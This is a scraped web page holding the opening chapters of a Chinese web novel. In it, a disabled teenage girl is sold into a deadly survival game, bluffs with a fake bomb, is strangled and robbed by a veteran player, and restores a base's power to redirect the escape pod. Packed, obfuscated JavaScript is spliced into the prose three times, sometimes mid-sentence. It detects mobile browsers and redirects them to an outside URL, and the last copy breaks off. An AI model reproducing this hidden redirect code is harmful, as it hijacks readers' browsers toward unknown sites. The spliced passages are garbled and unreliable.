《论瘸着腿如何在无限世界登顶[无限]》 1. 预备游戏006(一) “令珩啊……补考没法安排,对其他学生不公平,奖学金已经发给喻景了。” 班主任同情地看着她,沈令珩攥紧了拳头,如果那个女人没来找她要钱,她就不会和那个女人在车上起了争执,更不会少考一门导致拿不到这笔钱。 更不会被那些人盯上! 沈令珩猛地睁开眼,眼前是被水洇湿了一角的天花板,心脏因为强烈的情绪波动而剧烈起伏着,她拿起手机看了眼时间,努力克制住不甘的情绪,下意识掀开被子,下床去洗漱。 腿却在试图移动时发出刺骨的疼痛,她用力闭了下眼,又很快调整好情绪,把轮椅拉了过来,借力爬了上去。 等一切准备就绪,那个电话准时来了。 沈令珩把校服拉链拉到顶,明明是春天,她却穿得很厚,整个人鼓鼓囊囊的。 她最后看了眼空荡荡的家,拉着行李箱推开门。 老旧的门打开时发出吱呀声,露出后面破旧的墙面,门外站着两个高壮的男人,其中一个问,“是沈令珩小姐吗?” 沈令珩带上门,点点头。 男人走到她身后替她推轮椅,另一个帮她拿行李箱。进了窄小的电梯,出公寓楼,甚至扶她上车,将她的轮椅收好放后备箱,一切都是那么周到。 沈令珩自嘲地笑了笑。 “不用害怕,里面什么情况没有人知道,说不定是天堂呢?”其中一人安慰她道。 他说这话自己信吗?沈令珩心想,他们甚至愿意花50万买她进去,如果是天堂,她给他们50万都不一定进得去。 但如果真的愿意给钱,那他们确实帮了她大忙了,沈令珩并没有回怼,只是道了声谢。 那人不说话了。 沈令珩也没有精力再应付他们,在车上闭目养神。 不多会,他们便到了目的地,沈令珩被他们搀扶着下车,又重新坐上轮椅。 已经到了不少人了,沈令珩淡淡地扫了一眼,一个国字脸的男人看到她坐在轮椅上,有些不忍地侧开视线不愿再看。 “人都到齐了。”似乎是管事的那位戴着金丝眼镜数了一圈,总共六个人,他指了指被铁网围起来的区域,拉开门,“那就出发吧,祝你们一路平安。” 高壮的男人们把他们团团围住,堵住了他们临阵脱逃的后路。 沈令珩撩起眸子看他,“钱呢?” 男人一顿,笑道,“等你们进去后老板自然会一个一个打到你们账上。” 沈令珩的眼里轻微地流露出一丝“果然如此”,她连自己亲妈都不信,更别提这些人了,沈令珩是做足了准备才来的。 她把拉链扯了下来,露出里面捆得整整齐齐的炸弹,所有人瞬间变了脸色,迅速退至几米开外。沈令珩举起打火机,那双古井无波的眼睛黑漆漆的,就这样盯着金丝眼镜,“现在给。” 金丝眼镜脸色一变,视线在她身上绑着的炸药和她手里的打火机之间来回几次,似乎在衡量着什么,最后他笑着点点头,“行,现在就给。” 沈令珩没有动,只是看着他,她的眼神很冷,像蛇勒紧了猎物,窒息感与压迫感同时缠了上来,眼底藏着背水一战的孤勇。 金丝眼镜在她的气势中败退下来,他的眸色闪烁了好一阵,最后终于妥协地去打电话了。 一直到太阳挂在头顶,沈令珩才收到了银行的短信,她联系医生,把医疗费用补齐,又把剩下的钱转进那个应该叫做“母亲”的女人账户里。 她盯着转账成功的页面看了几秒,然后将她的所有联系方式拉黑。 她不欠她什么了。 50万,足够买断她们的母女情了。 “钱已经打过去了。” 沈令珩点点头,正要收起打火机,便听人群里有两个人也要求先转账,一个是国字脸男人,还有一个是短发女人。 沈令珩不急着收打火机了,命令道,“给他们。” 金丝眼镜咬了咬牙,又去安排了。 等所有人都收到了钱,沈令珩才收回打火机,金丝眼镜不耐地催促他们,“赶紧进去吧。” 国字脸男人立刻低头颤抖着操作手机,片刻后身体才放松下来。短发女人则只是扫了眼手机屏幕,便面露厌恶地收了起来。 不管出于什么原因,做完这一系列动作后,沈令珩身边已经没有人了,她一脸毫不在意的表情,旁若无人地重新拉上拉链,靠自己一手滚动轮子,一手拎行李箱艰难移动。 国字脸男人走过来的时候,沈令珩只是极淡地扫了他一眼,男人什么都没说,只是把手放在轮椅的推手上。 轮椅动了。 沈令珩几不可察地顿了顿,原来被推着走是这种感觉。 “谢谢。”沈令珩淡淡道。 男人说,“没事。” 过了一会,他又说,“是我应该谢谢你。” “别聊了,快点进去。”高壮男人催促。 国字脸男人住了嘴,在高壮男人的推搡下进入。 在踏进那扇门后,人便离奇地在眼前消失了,有人想逃,却被高壮男人拎了回去。 既然来了,就别想走。 * 场景变换。 【(预备)玩家:沈令珩,录入成功,初始生存点已发放】 【欢迎来到预备游戏006】 脑海中响起机械的提示音,场景变换,沈令珩只觉手腕一沉,瞥眼看去,她的手腕上不知怎么出现了一个白色的腕表,类似于那种她永远不会花这个钱去买的高级健康手表。 种种违背科学的情况让沈令珩皱了皱眉,她抬手研究了一下腕表。 里面只有两个功能,一个是个人信息,一个是游戏状态。 她点开第一个,信息立马跳了出来,(预备)玩家:沈令珩,生存点:1000,通关游戏次数:0,状态:游戏中,评级:白级】 她打开“游戏中”三个字。 【预备游戏006进行中,目标:成功进入返回舱并返回总部(0/1)】 是类似于密室逃脱那样的游戏吗? 沈令珩环视一圈,原本和她一起进门的人少了一个,脸熟的人还剩四个,国字脸男人和短发女人也在,同时多了三个不认识的人,是两男一女。 她的视线移动,他们所在的环境很奇怪,有点类似于她想象中的研究院,四面是光滑的墙壁,面前是硕大的操作台,密密麻麻的都是按钮和刀闸开关,另一边是一排排柜子,少说放了十几个。 上面的四个墙角里则闪烁着红色的光,大概是监控。 操作台上方是一个硕大的屏幕,再往上是一个数字闹钟……沈令珩视线微顿,这好像不是闹钟,看数字变化,或许称为倒计时更合适。 如果她理解的没错,那么他们总共还有48个小时。 她正要过去细看,便见那三个人中个子最高,身材最魁梧的那个人,用一种古怪的视线审视了他们每一个人,以及他们携带的行李箱,最后在沈令珩的轮椅上停顿了一会,他笑了一声,“这次新人不少啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274051|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“梁哥?”剃了寸头的男人惊喜叫住高个男人,“有你,有这么多新人在我就放心了。” 他的手却没有像他表现得那么惊喜,反而在微微颤抖着。 “你听说过我?”被称作梁哥的高个男人说。 寸头男立马露出夸张的表情,“您可是大人物!白区的人谁不知道您在预备游戏的事迹!” 梁哥哈哈大笑起来,笑罢,他的眼神毫不遮掩地上下扫视过在场的三个女人,好像要把她们剥光一般,放在案板上随意挑选。 老玩家中的那个长发女人有些不适地摸了摸胳膊,似乎察觉到了什么,率先露出一个难看的笑容,身体僵硬地贴了上去,小声叫了声“梁哥。” 沈令珩和短发女人皱眉。 梁哥很自然地掐住女人的腰,停留在沈令珩身上的眼神里闪过可惜。 他的眼神着实令人觉得恶心。沈令珩视线冰冷,右手下意识伸进口袋里,表情突然顿了顿。 还没等沈令珩和短发女人还做出什么过激的反应,他们中的小胖子反而崩溃地大哭了起来,哭喊道,“这到底是什么地方啊!我要回家!” 梁哥大笑了起来,嘲讽道,“果然是分配到白区的废物!”他一脚踹过去,少说有200斤的胖子直接被他踹飞开去,梁哥狞笑着警告道,“给老子闭嘴。” 胖子嘴角溢出鲜血,整个人痉挛着发不出声音来。 沈令珩的脸色微变,这个梁哥的力气也太大了,正常人会有这么大的力量吗? 因为这里的一切都太过诡异,几乎推翻了沈令珩这17年来的整个世界观,她不得不更小心地去关注种种细节,做出大胆的猜测。 而在沈令珩察觉异样的同一时刻,他们中的一个瘦得跟竹竿似的男人视线来回转动着,继而变脸般换上谄媚的表情,“梁哥!这是什么地方呀?你跟我说说呗!” 非常识时务。 梁哥却毫不留情地一把推开他,竹竿被他巨大的力量推倒在地,梁哥指了指国字脸男人,说,“你,过来。” 国字脸男人看着哎呀叫唤的竹竿,又看看一边说不出话来的胖子,有些愤怒道,“为什么对他们动手?” “呦,你很有正义感嘛!”梁哥用嘲讽的语气道,“就是不知道你有几斤几两。” 他朝寸头和长发女人抬了抬下巴,“你们来过这个预备游戏没?” 两人脸色发白,摇摇头。 梁哥眼睛盯着一脸不忿的国字脸男人,朝他勾勾手指,一边命令两人,“去把其他人身上的身份卡搜出来给我。”一边对着国字脸男人说,“敢不敢跟我过两招?” 国字脸男人下意识往后退了一步,寸头男和长发女却动了,寸头男推着长发女去胖子和竹竿那边,自己则走向了沈令珩和短发女。 “等一下。”沈令珩开了口。 几人看向她。 沈令珩再一次拉下拉链,露出下面褐红色胶布包裹的一排圆筒,有几个的顶部似乎有些翘边了。她用冰冷的视线盯住国字脸男人,她看着他的视线变了,沈令珩拿出打火机,用出同样的伎俩,威慑道,“告诉我们要怎么完成目标,否则我不介意同归于尽。” 新人们都松懈下来。 他们见识过沈令珩用炸弹胁迫那些人,想必这次他们也能平安过关。 然而,这一次,沈令珩的招数失效了。 不远处的长发女人耸了耸鼻子,她的声音还有些颤抖,但语言清晰而精准地传达了出来,“不对…她身上没有火药味……这不是炸弹。” 2. 预备游戏006(二) 沈令珩身上的当然不是真的炸弹,哪怕她知道一硫二硝三木炭,但她没有能力弄来硫和硝,也没有多余的钱花在这个上面。 被揭穿的沈令珩,脸上的表情却没有变化,正如刚才在外面一样,她那种如蛇一般阴冷的气势,正透过眼神死死地盯着梁哥。 她的底牌不多,她一直很清楚这一点,她只能利用信息差和时间差。 以及敌人的怯懦。 长发女人一时间竟然有些动摇了。 梁哥仔细地盯了她一会,似乎在判断女人的话是否可信。 沈令珩的眼神没有丝毫动摇,但梁哥微微眯起眼,一个箭步上前掐住她的脖子把她从轮椅上拎了起来,姿势的变化让沈令珩口袋里的身份卡掉了出来。 见状,短发女人和国字脸男人想上前帮忙,但梁哥的力量太大了,他们根本无法撼动他一分。 “你不错。”梁哥眼里闪过欣赏与可惜,手上的力量却愈发收紧。 沈令珩脆弱的喉骨咯咯作响,她计算着距离窒息的时间,她有经验。 然而比窒息感更先涌上的,是胸腔深处那撕裂般的挛缩感与濒死的空虚,她那因为吸了太多尾气导致的哮喘被诱发了。 沈令珩心一沉。 视线因窒息而开始模糊涣散,眼睛却依旧死死盯着他,她克制着自己下意识想去掰他手指的本能,手攥紧打火机,依旧做足了威慑的姿态,甚至试图用火机去够那根虚假的引线。 梁哥一把夺过她手里的打火机放到自己口袋里,他一脚踹开沈令珩的轮椅,观察她濒死前的反应。 缺氧让沈令珩的脸色由红转白,继而透出一种窒息的青紫,呼吸间发出尖锐的哮鸣音,在寂静的操作大厅里刺耳无比。 梁哥皱眉松开了她,仍由她狼狈地摔在地上,沈令珩只来得及调整姿势,没让膝盖受到太大的撞击,但震动产生的剧痛已经几乎让她失去意识,她剧烈地咳嗽喘气,肺疼得厉害,手颤抖探向自己的口袋拿出药剂喷雾。 同时用两根手指夹出了一片薄薄的东西。 梁哥捡起了那张身份卡,上面有沈令珩的照片,还有身份栏上写的“辐射监测员”,确认了是他要的东西没错。 他没再理会她,反而任由她用药。 沈令珩只觉得大脑一片混沌,对周围的感知剧烈下降,她能感觉到的只有对呼吸的渴望和疼痛。 耳朵里似乎隐约听到了惨叫声和什么“他快死了”、“抓紧时间”之类的话语。 药物开始发挥作用,沈令珩的视线清晰了一些,突然一阵失重,是她被攥着后领拎了起来。 他的脚步急促,似乎情况突然紧迫了起来,“操,真麻烦!那死胖子居然真的要死了。” 沈令珩恍惚了一瞬,要死的居然不是她吗? “扫脸,刷卡,把你们俩的防护服都拿出来。” “把其他人防护服屁股上的备用电池抠下来。” 沈令珩感觉到自己的眼睛被撑开,手腕被捏着操作了什么,或许是她两根手指中间夹着的薄片存在感过于微弱,也或许是对方认为她已经没什么值得防备的了。 她手里的薄刃并没有被发现。 沈令珩不动声色地把东西甩进了他的袖口。 男人再一次把她甩在地上,连同她一起的,还有一张卡片。 他用她和身份卡打开了她的柜子,就把不需要的东西扔开了。 【生存点已转移:1000点】 提示音在她脑海响起。 他抢走了她全部的生存点。 沈令珩的胸口剧烈起伏了一下,下意识闭上眼藏住眼里的恨意。 “你不要恨我,在废城,弱者是活不下去的。”他说。 弱者……沈令珩把这两个字含在嘴里。 梁姓男人的声音愈发急躁起来,男人跪在一旁抠出沈令珩防护服里的备用电池,怒道,“要不是人必须得活着用虹膜再配合身份卡才能打开储存柜,你们一个两个废物早都被我宰了!” 啪嗒一声,他抠出电池,然后推开寸头男,自己亲自动手把胖子撑了起来,“愣着干嘛!刷卡啊!” 寸头男连忙刷卡。 储存柜打开,姓梁的甩开胖子的身体,掏出里面的硕大的防护服,继续抠电池。 沈令珩恍惚间看到姓梁的和两个老玩家忙前忙后,最后,姓梁的看着三个还能站着的新人,说,“你们的防护服都在我手里,要么乖乖听话,跟着我通关,要么跟他们两个在这自生自灭!” 竹竿虽然受了伤,但他的伤不重,而且他是最会审时度势的那位,此时根本不带犹豫的,直接站到了梁哥那边。 国字脸男人脸上带着伤,有些犹豫不决,短发女人却当机立断道,“可以。” 她反过来劝说国字脸男人,“她活不了多久了,我也想救她,但我没这个本事,也不想把自己搭上去。” 她说的是沈令珩,此时的沈令珩还在艰难喘息着。知道短发女人说的没错,国字脸咬了咬牙,虽然仍在犹豫,但明显已经开始动摇了。 最后被短发女人强行拖走。 梁姓男人更是一开始就相中了他的体格,毫不拖泥带水地带他们继续下一步,不给他反悔的时机。 在他们时轻时重的对话中,沈令珩的意识渐渐回笼,她没有轻举妄动,耳朵清晰地听到梁姓男人说,“不会用就滚开!发个信号都不会!你是傻子吗?怪不得被分到白区!” 沈令珩的视线突然一黑,不远处的人群齐齐惊呼。 她的眼皮缓慢地眨动着,眼睛似乎在盯着墙面顶角处的红光。 梁姓男人不耐烦道,“行了,别看了,返回舱的坐标不可能发给你的,固定节点,每次要发过来的时候基地就会断电,我们要先去信号塔那边续上信号后接收坐标。” “他们的防护服要拿走吗?”寸头男问。 “不用,这该死的防护服认人,只有本人能穿。”姓梁的催促道,“走了,别浪费时间。” 一阵脚步声后,基地安静了下来。 安静到沈令珩只能听见自己微弱的呼吸。 不知过了多久,她艰难地撑起身体,在漆黑的环境里来回搜索。一片漆黑的基地里,高高悬挂着的倒计时散发着红光。 还有摄像头,红色的光点有规律地闪烁着。 就着这点光线,沈令珩捡起自己的身份卡,扫了一眼后,视线转动,看到被随意扔在地上的防护服,看体型应该是她和胖子的。 她的视线继续移动,找到了自己的轮椅。 沈令珩趴在地上,手撑着往前挪。 地板很凉,每挪一下手掌心都会留下一小块温热的印子。她不知道自己挪了多久,只知道每挪几步肺就开始疼,以至于她不得不停下来,把脸贴在地板上喘气。 她把喷剂拿出来,对着嘴按了一下,然后继续挪。 挪到轮椅旁边的时候,沈令珩发现自己已经没力气爬上去了。 她靠在轮椅的轮子上,抬眸望着那个红色的倒计时,一跳一跳的,最前面的数字已经变成了44。 还有44个小时。 沈令珩闭上眼睛,告诉自己就闭一小会儿,意识沉了下去,脑海里不受控地闪过零碎的画面。 她似乎又听到那个女人出事前的声音,“就三十万,只要三十万就够了,轩宝就能上国际幼儿园了,你知道的呀,现在小孩子最不能输在起跑线上了……” 然后是旋转的世界,和暗下去的画面,她好像感觉到了疼痛,又好像只是错觉。 “快叫救护车!” “天呐!都是血!还有没有救啊?” “完了完了,喂,对……有一对母女撞上我的车……在12号路上……噢!有人给你们打过了是吧。” 沈令珩的意识很模糊。 她听见有人在喊“救护车”,声音时远时近,像是隔着水。 身上很痛,但并不尖锐,疼痛最尖锐的时刻已经过去,现在是那种钝钝的、从骨头里往外渗的痛。 呼吸里满是尾气,每一次吐息,肺就像被人攥紧了一样,吸不进去,也吐不出来。 她想:完了。 这一刻,她想到的不是死亡,是考试,今天最后一场考试。 如果赶不上,奖学金就没了。 她不该跟她吵的,沈令珩的眼睛生理性地眨动着,她能看到那个女人身上污浊的黑红色,那个应该被她叫做“母亲”的人,她闻不到她身上的血腥气,也感觉不到她的痛苦,女人的脸她其实已经记不清了,今天也没有正眼瞧过,但她的声音和眼神却牢牢刻在她的大脑里,一次次播放着。 尤其是眼神,那种名为“生你到底有什么用”的责怪。 沈令珩扯了扯唇。 呼吸机盖在脸上的那一刻,耳边炸起“哐嘡”一声,冰凉的器械冻得她骤然清醒,沈令珩猛地睁开眼,发现轮椅被她无意识地下坠推开了,整个人摔下来,膝盖撞在地上,痛得她眼前发黑。 她没出声,就那么趴着等那阵疼过去,倒抽了好几口气,好在轮椅没被推多远,沈令珩伸手把它拉了回来,然后撑着轮椅,一点一点爬了上去。 等她终于坐上轮椅的时候,后背已经被汗浸透,沈令珩瘫在轮椅上,累得一根手指都不想动弹。 但倒计时还在跳。 她转动轮椅,目的性极强地朝操控台移动,开始搜查起来。 沈令珩平时并不沉迷于游戏,只是被朋友带着玩过不少。 既然这也是可被通关的游戏,那就一定会有设定好的线索,不可能每个人都像梁姓男人一样带着经验来。 沈令珩回忆着他们的对话,尤其是那个梁姓男人的发言。 他似乎对这个游戏很了解。 那么一开始,他得到的信息是从哪里来的呢? 沈令珩盯着操作台,目前看来,这里大概率会藏着重要的线索。 她到处搜集了一会,忽得在地上发现了一本册子,沈令珩坐在轮椅上艰难俯身下去捡起。 那是一本说明书。 沈令珩把说明书放在大腿上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274052|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 光线太暗了,只有头顶那个红色的倒计时在发着光,一跳一跳的。 她把说明书对准了倒计时,字还是看不清。 她仰起头,眯起眼睛,一个字一个字地看。 看完一行,她闭上眼睛在心里默念一遍,再看下一行。 她知道这样很慢,但是没办法,她记不住整本书,只能尽量不让自己漏掉重要的,像考前复习背重点一样,至少要留个印象,在做到这个考点的题时能够迅速找到这一页。 昏暗的灯光让沈令珩的眼睛愈发酸涩,她闭眼睛的频率越来越高,沈令珩揉了揉眼睛,在看到“基地备用电源”那段的时候停了下来。 她仔细地研读着这一小块,视线又不自觉被旁边标注的一段话吸引了。 “应急系统是独立供电的。” 她轻声念出了段末的这行字,然后把这一页折了个角。 说明书里很详细地介绍了基地的背景和功能,她们所处的这个游戏是高辐射背景的,所以必须要穿防护服才能去外面。 还有一个值得利用的点,他们的身份。 作为辐射监测员,他们需要在各个区域中心用仪器监测出辐射值。 基地里存放了各种诸如防护服和辐射监测仪此类他们需要的器械,同时,集合了信息传输、信号基站、能源提供三大功能。 手册里详细介绍了操作台的使用方法。 沈令珩的目光落在能源提供上,她抬起头,看向头顶那个发着红光的倒计时。 她想起了刚才良性男提到的“备用电池”,他刚才拆备用电池的行为让她非常在意。 游戏提供的电池不够他们撑到返回舱吗,竟然要逼他们拆其他人的电池才足够?是设定如此,还是有其他线索没被挖掘? 沈令珩对废城的游戏系统不了解,但如果是前者,游戏为何又要设计只有活着的人和身份卡才能打开每个人专属的柜子取出防护服,防护服又有什么必要设计为“认人”的? 这分明是为了避免争夺。 这一点就足以证明,梁姓男人所认定的通关路径有问题。 他对基地的探索和用法都太过粗浅。 这个游戏的设计初衷绝对不是抢夺,尤其是抢夺同伴的备用电池。 沈令珩滚动轮子来到胖子旁边,低下身子将手指伸到他的鼻子下面。 没有气息了。 她微微呼出口气,但凡有一个能直立行走的人在……算了,沈令珩停止做这种没必要的假设。 她没有怪国字脸男人和短发女人的意思,如果是她,在那样的情况下也会做出一样的决定,这是非常正常的。 况且她当时也没有付出什么,只是顺便帮了一下。 沈令珩从来没有奢望过会有人放着好端端的生路不走,非要和她共沉沦,她已经习惯了被权衡利弊后放弃。 不如说,国字脸男人和短发女人还愿意替她反抗一次梁姓男人,这已经十分难得,他们已经对得起她用假炸弹弄来的钱。 她也彻底明白了自己到了一个什么样的地方。 弱肉强食,优胜劣汰。 沈令珩拆掉身上已经没用的纸筒扔开,这东西唬不住废城的人。 她只希望自己甩在梁姓男人身上的刀片可以把他割个皮开肉绽。 她滚动轮椅重新搜索整个基地。 监控的红光和红色的倒计时仍在继续,当数字变为42时,沈令珩在放防护服的柜子里找到了防护服的使用说明,除此之外,还有基地的分布图和员工手册,沈令珩随手翻开,入目第一条就是禁止攻击同伴。 她若有所思地盯着这句话,如果有人攻击了同伴会受到什么惩罚吗?要如何取证他的行为,又该交给谁审判呢? 沈令珩思索着,眼睛掠过摄像头那闪烁的红点。同时,轮椅也没有停,基地分布图上标注了食物储藏区。 在游戏这么久,她滴水未进,此时确实饿了,好在这区域不需要电就能打开,是传统的机械设计,估计也是考虑到了停电的情况。 她从里面拿了根写着营养棒的东西出来。 没什么味道,但足以果腹,沈令珩边啃营养棒边想着,也不知道是什么东西做的。 她叼住营养棒,把分布图放到大腿上,比对着操作台实体确认备用能源的位置。 操作台是一个门型结构,备用能源就在当中的空间顶部。 沈令珩记下位置,并没有急着去恢复电源,而是拿出操作手册,找到对应那页,研究如何使用这块区域。 还有应急开关...双重保险啊。 沈令珩反复研读这几页后,有了一定的把握,这才来到操作台,小心翼翼地翻下轮椅,钻进里面躺下,她仰头,用身份卡刷开设计在此处的操作面板。 漆黑的面板没有一丝反应,似乎需要电才能感应到卡。 沈令珩拧了拧眉。 这是谁设计的?备用电源居然需要电才能开启? 沈令珩闭上眼,那就只能考虑第二条路了。 3. 预备游戏006(三) 既然备用电池无法启动,那应急备案呢? 她重新爬上轮椅,唯一的光源是昏暗的红光,长时间的用眼,导致她的眼睛现在非常疲劳酸涩,胳膊更是酸痛难忍,但沈令珩却没有停下来休息的想法,她从来没有忘记过头顶的倒计时。 好在应急备案重新给她带来了希望,应急开关是独立供电的。 沈令珩终于有一点走上正轨的感觉了。 她找到应急开关,将杂乱的线撩开,扳下刀闸开关。 心跳难得快了一些。 机械开关发出“啪嗒”一声—— 然而,什么都没发生。 怎么会?两条路都走不通吗? 那操作手册的意义是什么? 一次次的失败让沈令珩有些许的动摇,难道说姓梁的通关方案是唯一解? 不可能。 她坐在轮椅上,垂下眸。 情绪上的失落和身体上的疲惫几乎要压垮她,大脑却依旧没有放弃思考。 应急开关和备用电源,是否都需要启动成本? 答案是肯定的,游戏没让她这么轻易就解决这个难题。 备用电源的操作面板是连接操作台的,大概率共用整个基地的电,但应急开关不是,应急开关是独立供电的。 应急开关的启动成本更低。 只需要一点能够开启应急开关的电。 她需要电。 电从哪里来?哪怕是生物电...等等... 沈令珩的视线落到防护服上。 她仔细回忆着姓梁的说过的话。 “抠出备用电池……” “防护服认人……” 备用电池。 脑海中飞快闪过一个念头。 既然有备用电池,那防护服本身呢?电从哪里来? 沈令珩的心脏猛地一跳,加速滚动轮椅来到防护服旁,在自己的和胖子的防护服之间没有犹豫,直接下轮椅,小心翼翼地坐到胖子的防护服旁边。废物利用,既然人已经死了,不如为还活着的人创造些价值。 她拿起轮椅上放着的防护服使用说明打开。 防护服的图解里,清晰地指明了主电池的位置。 确实很隐蔽,而且没有做可以机械拆下的设计,只能开启后通过指令换下。 她检查着胖子防护服,刚才并没有很清楚地看到姓梁的是怎么拆备用电池的,但他们似乎并没有在拆卸上花很多时间。 只是主电池和备用电池完全不一样,她尝试拆卸了几次都没能成功。 怪不得当时他们没对主电池下手。 沈令珩摸进口袋,掏出一把水果刀,带刀鞘的。原本是防身用的,在被梁姓男人用恶心的视线审视时她就握紧了刀柄,好在那会没有轻举妄动,刀没有像打火机那样被抢走,此时或许能帮她一个大忙。 她抽出刀刃,毕竟是水果刀,刀不算锋利,她用了大力才划开防护服,将连接着主电池和防护服本体的电线直接割开。 原本牢牢嵌在防护服中的主电池在被隔断接线后似乎微微松动了,沈令珩再次尝试将它抠出,这次成功了。她拔出残余在主电池里的几截插头,重新回到应急开关旁,把开关复位。 原本那些杂乱的电线此时全都派上了用场,沈令珩将它们按照接口形状一一插到主电池上。 刀闸开关发出微微的光。 沈令珩的心脏不受控地剧烈跳动起来,用力拉下开关。 剧烈而明亮的光霎时刺痛了她酸涩的眼睛,沈令珩的眼角落下生理性的泪水,她没有闭眼。 她见证着整个基地骤然焕发出的生机。 所有的灯都亮了,一些装置启动时发出“滴”的声音,还有轻微的电机振动声... 她抹了一把脸,又钻进操作台底下,这下刷卡可以打开面板了,她顺手把备用电池也开了。 看着外面明亮如昼的光。 沈令珩笑了。 如果是她,刚才一定会把自己杀了永除后患,还好她是“弱者”。 一个连补刀必要都没有的“弱者”。 沈令珩对照着说明书启动操作台,上面细小的文字在明亮的灯光下看起来终于不再费力,沈令珩开启联络功能,同时打开地图。 费了这么大劲,希望它能给她足够的回报。 地图上有几个位置发着红光,沈令珩点开,小字标注到:315号基地。 是其他的基地位置吗? 她点开一个五角星的图标,小字标注:装备储存区。 距离她所在的基地不远。 名为总部的通讯对象已经发来了返回舱的坐标,沈令珩查询了基地的坐标位置,比对了一下距离,她看了眼倒计时,知道自己绝对赶不过去了。 照姓梁的说法,他们是去信号塔,大概率只能起到联络的作用,所以他们不知道其他基地的位置,他会以直线距离过去。 照他的做法,他知道防护服的电池是不够他们到返回舱的。所以取走了她和胖子的备用电池。 但他们那么多人,多出两块电池就够了吗? 沈令珩不这么认为。 如果她要去这个坐标……沈令珩调出电量计算器,简单做了个预测。 她没有载具,有也用不了,算上胖子那个主电池,她起码也要经过两到三个基地补充电量才能到,时间上更来不及。 沈令珩静静看着联络窗口。 总部传来的讯息很有意思。 总部:亲爱的242小队队员梁方,即将按照小队要求将返回舱投放至坐标(749,666),返回舱将在八小时后出发,并停留36小时,请辐射监测员及时抵达。 比起总部,242小队队员梁方的回复就显得平平无奇了:收到。 原来姓梁的叫梁方。 这是他们一小时左右前发出的消息。 沈令珩低头翻开说明书,看着辐射监测员的那一页,她思索了一会,编辑信息:受辐射强度影响,监测路线有所调整,请将返回舱投送至坐标(360,361) 她把坐标改到了距离她更近的位置。 总部回应得很快:收到,已调整返回舱投放位置,祝工作顺利。 沈令珩脸上没什么表情,她说不出自己现在是什么心情,愧疚吗?似乎对无辜被牵连的人也有一些,快意吗?好像有一些复仇的喜悦。 或许更多的是,对自己有了更深刻的认识吧。 原来她也可以毫不犹豫地为了自己活下去而不顾他人死活。 或许她原本就应该是这样的人。 【解锁支线任务:监测区域A、B的辐射值】 【任务奖励:生存点1000,装备储存区D级权限,信用点50】 【已解锁:辐射监测员队长权限】 系统的提示音打断了沈令珩的情绪,她点开腕表,查看了一下这个支线任务的内容,这次腕表里的内容丰富了很多,特意标注出了区域A、B的范围,还给了各自监测点的坐标。 同时还有一个新出现的队长权限。 沈令珩点开,这是一张小地图,她看过基地展示的地图,知道上面红光标注的是基地和装备储存区的位置,但除了和基地地图如出一辙的红光,小地图上还标注了几个白色点。 五个白点聚在一起,另一个与他们隔了一段距离。 沈令珩迅速明白了白点的含义,这是她几个“同伴”的位置。 聚在一起的白点正在往错误的方向前进着。 沈令珩扯了扯唇。 她没多想为什么会有一个白点掉队,对游戏的背景已经有了充分的了解的她,现在最要紧的是先去装备储存区领取监测装置,再带着它去监测点。 这个结果倒是无愧于沈令珩花了这么久才将基地重新启动。沈令珩呼出口气。 她收拾好所有的手册和说明书,顺便把分布图和胖子的主电池也带上,重新将基地彻底关闭,钻进属于她的那套防护服里出发。 * 基地外的路崎岖不平,似乎遭受了什么重创一般,若不是沈令珩的手劲不小,她连转动轮椅都困难。 防护服的电量消耗比她想象得更快,沈令珩移动得又慢,得歇一会才能动一会。 没过多久,她就不得不把胖子的主电池替换上。 这套是她的防护服,所以换电池只需要按个按钮就行。 沈令珩换好电池,看了眼距离装备储存区的位置,估计了一下防护服的续航和她的移动速度,不得不放弃直接去装备储存区的计划。 她将目的地改到最近的092基地。 几乎耗费了一个小时,她才成功刷卡进入新的基地。 “嗯?” 沈令珩闻声一顿,目光抬起,看到有八个不认识的人正在脱防护服拿去充电,和他们的人员数量一致。 沈令珩了然,怪不得每个基地都提供了那么多储存柜,原来是游戏里还有其他玩家。 她瞥了眼操作台,屏幕没有被打开。所以他们也是根据信号塔接收信息,然后去那个坐标的吗?和梁方一样的思路。 那他们也不知道她已经改了坐标。 沈令珩犹豫了一瞬,要不要告诉他们? “哥,这有个不认识的人。” 其中一人出声道。 被他叫做“哥”的男人极高,身高大概得有两米,沈令珩这才注意到他们的身材都很魁梧,衣服底下的肌肉暴起,一看就是花了心思练过的。 两米男人瞥了她的手腕一眼,淡道,“不用管,一个白区的垃圾而已。” 他这么一说,身边的七个玩家就凑上来叽叽喳喳地问,“白区是什么意思?” 两米男人解释道,“你们都知道自己被分配到红区了吧,看看自己的腕表颜色,再看看她的。” 刚才和白区的人在一起,大家都是白色的腕表,沈令珩确实没在意颜色。这会遇到这群人,沈令珩才注意到,他们的腕表居然都是红色的。 “只有最没有的废物才会被分到白区,你看她坐着个轮椅,估计是白区的那帮人都嫌她拖后腿,我们管什么闲事。”两米男人补充,“行了,赶紧把电充充满,还得抓紧时间通关。” “我们不帮她吗?”声音沙哑的男人疑惑道,“她看上去很需要帮忙。” “用不着。”两米男人拒绝,“每个区都是竞争关系,你帮她一把,到时候还影响我们的生存点。” 他们似乎都知道生存点的重要性,此言一出,再没有人多话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 